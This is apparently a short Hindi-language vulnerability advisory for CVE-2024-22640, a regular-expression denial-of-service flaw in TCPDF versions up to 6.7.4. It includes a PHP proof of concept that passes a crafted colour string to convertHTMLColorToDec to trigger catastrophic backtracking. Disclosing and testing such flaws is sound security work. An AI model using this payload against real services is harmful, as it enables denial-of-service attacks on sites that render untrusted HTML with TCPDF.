CVE-2024-22640

भेद्यता प्रकार

रेगुलर एक्सप्रेशन डेनियल ऑफ सर्विस (ReDoS)

प्रभावित उत्पाद और संस्करण

TCPDF <= 6.7.4

हमला वेक्टर

TCPDF द्वारा पार्स किए गए HTML रंग में क्राफ्टेड पेलोड होता है।

विवरण

TCPDF संस्करण <= 6.7.4, एक अविश्वसनीय HTML पेज को क्राफ्टेड रंग के साथ पार्स करने पर ReDoS (रेगुलर एक्सप्रेशन डेनियल ऑफ सर्विस) के लिए संवेदनशील है।

PoC

<?php

require_once('../tcpdf.php');

$test = new TCPDF_COLORS();
$ref = "none";
$test -> convertHTMLColorToDec('["t"000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000!]',$ref);
?>

नोट: भेद्य रेखा के बाद preg_last_error() से जांच करने पर, regEx PREG_BACKTRACK_LIMIT_ERROR के साथ बाहर निकलेगा।